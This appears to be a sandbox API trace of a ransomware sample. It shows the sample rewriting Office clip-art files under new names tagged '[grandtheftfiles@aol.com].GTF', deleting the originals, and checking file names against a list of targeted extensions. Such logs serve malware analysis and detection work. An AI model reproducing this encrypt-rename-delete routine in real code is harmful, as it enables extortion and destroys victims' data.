	[0179.086] ReadFile (in: hFile=0x52c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x30f0, lpOverlapped=0x0) returned 1
	[0179.132] WriteFile (in: hFile=0x57c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3100, lpOverlapped=0x0) returned 1
	[0179.133] ReadFile (in: hFile=0x52c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.133] WriteFile (in: hFile=0x57c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.133] SetEndOfFile (hFile=0x57c) returned 1
	[0179.133] CloseHandle (hObject=0x57c) returned 1
	[0179.133] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.133] SetEndOfFile (hFile=0x52c) returned 1
	[0179.136] CloseHandle (hObject=0x52c) returned 1
	[0179.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.137] lstrlenW (lpString=".doc") returned 4
	[0179.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.137] lstrlenW (lpString=".docx") returned 5
	[0179.137] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.137] lstrlenW (lpString=".pdf") returned 4
	[0179.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.137] lstrlenW (lpString=".xls") returned 4
	[0179.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.137] lstrlenW (lpString=".xlsx") returned 5
	[0179.137] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.137] lstrlenW (lpString=".ppt") returned 4
	[0179.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.137] lstrlenW (lpString=".zip") returned 4
	[0179.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.137] lstrlenW (lpString=".rar") returned 4
	[0179.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.137] lstrlenW (lpString=".bz2") returned 4
	[0179.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString=".7z") returned 3
	[0179.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString=".dbf") returned 4
	[0179.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString=".1cd") returned 4
	[0179.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString=".jpg") returned 4
	[0179.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString=".doc") returned 4
	[0179.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString=".docx") returned 5
	[0179.138] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.138] lstrlenW (lpString=".pdf") returned 4
	[0179.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString=".xls") returned 4
	[0179.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.138] lstrlenW (lpString=".xlsx") returned 5
	[0179.138] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.138] lstrlenW (lpString=".ppt") returned 4
	[0179.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.138] lstrlenW (lpString=".zip") returned 4
	[0179.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.138] lstrlenW (lpString=".rar") returned 4
	[0179.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString=".bz2") returned 4
	[0179.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.138] lstrlenW (lpString=".7z") returned 3
	[0179.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.139] lstrlenW (lpString=".dbf") returned 4
	[0179.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.139] lstrlenW (lpString=".1cd") returned 4
	[0179.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0179.139] lstrlenW (lpString=".jpg") returned 4
	[0179.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.139] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.139] lstrlenW (lpString="J0157167.WMF") returned 12
	[0179.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0179.446] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=46702) returned 1
	[0179.446] CloseHandle (hObject=0x54c) returned 1
	[0179.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 0x220
	[0179.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0179.447] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.448] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0179.448] GetLastError () returned 0x0
	[0179.448] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xb66e, lpOverlapped=0x0) returned 1
	[0179.477] WriteFile (in: hFile=0x568, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xb670, lpOverlapped=0x0) returned 1
	[0179.478] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.478] WriteFile (in: hFile=0x568, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.478] SetEndOfFile (hFile=0x568) returned 1
	[0179.478] CloseHandle (hObject=0x568) returned 1
	[0179.479] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.479] SetEndOfFile (hFile=0x54c) returned 1
	[0179.533] CloseHandle (hObject=0x54c) returned 1
	[0179.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 1
	[0179.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.553] lstrlenW (lpString=".doc") returned 4
	[0179.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.553] lstrlenW (lpString=".docx") returned 5
	[0179.553] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.553] lstrlenW (lpString=".pdf") returned 4
	[0179.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.553] lstrlenW (lpString=".xls") returned 4
	[0179.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.553] lstrlenW (lpString=".xlsx") returned 5
	[0179.553] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.553] lstrlenW (lpString=".ppt") returned 4
	[0179.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.553] lstrlenW (lpString=".zip") returned 4
	[0179.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.554] lstrlenW (lpString=".rar") returned 4
	[0179.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString=".bz2") returned 4
	[0179.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString=".7z") returned 3
	[0179.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString=".dbf") returned 4
	[0179.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString=".1cd") returned 4
	[0179.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString=".jpg") returned 4
	[0179.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString=".doc") returned 4
	[0179.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString=".docx") returned 5
	[0179.554] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.554] lstrlenW (lpString=".pdf") returned 4
	[0179.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString=".xls") returned 4
	[0179.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.554] lstrlenW (lpString=".xlsx") returned 5
	[0179.554] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.554] lstrlenW (lpString=".ppt") returned 4
	[0179.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.554] lstrlenW (lpString=".zip") returned 4
	[0179.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.554] lstrlenW (lpString=".rar") returned 4
	[0179.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.554] lstrlenW (lpString=".bz2") returned 4
	[0179.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.555] lstrlenW (lpString=".7z") returned 3
	[0179.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.555] lstrlenW (lpString=".dbf") returned 4
	[0179.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.555] lstrlenW (lpString=".1cd") returned 4
	[0179.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68
	[0179.555] lstrlenW (lpString=".jpg") returned 4
	[0179.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.555] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.555] lstrlenW (lpString="J0160590.WMF") returned 12
	[0179.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0179.646] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=29406) returned 1
	[0179.647] CloseHandle (hObject=0x55c) returned 1
	[0179.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 0x220
	[0179.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0179.648] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.649] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.649] GetLastError () returned 0x0
	[0179.649] ReadFile (in: hFile=0x55c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x72de, lpOverlapped=0x0) returned 1
	[0179.713] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x72e0, lpOverlapped=0x0) returned 1
	[0179.714] ReadFile (in: hFile=0x55c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.714] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.714] SetEndOfFile (hFile=0x3dc) returned 1
	[0179.714] CloseHandle (hObject=0x3dc) returned 1
	[0179.715] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.715] SetEndOfFile (hFile=0x55c) returned 1
	[0179.751] CloseHandle (hObject=0x55c) returned 1
	[0179.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.773] lstrlenW (lpString=".doc") returned 4
	[0179.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".docx") returned 5
	[0179.773] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.773] lstrlenW (lpString=".pdf") returned 4
	[0179.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".xls") returned 4
	[0179.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.773] lstrlenW (lpString=".xlsx") returned 5
	[0179.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.773] lstrlenW (lpString=".ppt") returned 4
	[0179.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.773] lstrlenW (lpString=".zip") returned 4
	[0179.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.774] lstrlenW (lpString=".rar") returned 4
	[0179.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".bz2") returned 4
	[0179.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".7z") returned 3
	[0179.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString=".dbf") returned 4
	[0179.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString=".1cd") returned 4
	[0179.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString=".jpg") returned 4
	[0179.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString=".doc") returned 4
	[0179.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".docx") returned 5
	[0179.774] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.774] lstrlenW (lpString=".pdf") returned 4
	[0179.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".xls") returned 4
	[0179.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.774] lstrlenW (lpString=".xlsx") returned 5
	[0179.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.774] lstrlenW (lpString=".ppt") returned 4
	[0179.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.774] lstrlenW (lpString=".zip") returned 4
	[0179.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.774] lstrlenW (lpString=".rar") returned 4
	[0179.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".bz2") returned 4
	[0179.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.775] lstrlenW (lpString=".7z") returned 3
	[0179.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.775] lstrlenW (lpString=".dbf") returned 4
	[0179.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.775] lstrlenW (lpString=".1cd") returned 4
	[0179.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68
	[0179.775] lstrlenW (lpString=".jpg") returned 4
	[0179.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.775] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.775] lstrlenW (lpString="J0171847.WMF") returned 12
	[0179.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.776] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=6888) returned 1
	[0179.776] CloseHandle (hObject=0x548) returned 1
	[0179.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 0x220
	[0179.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.777] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.777] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0179.777] GetLastError () returned 0x0
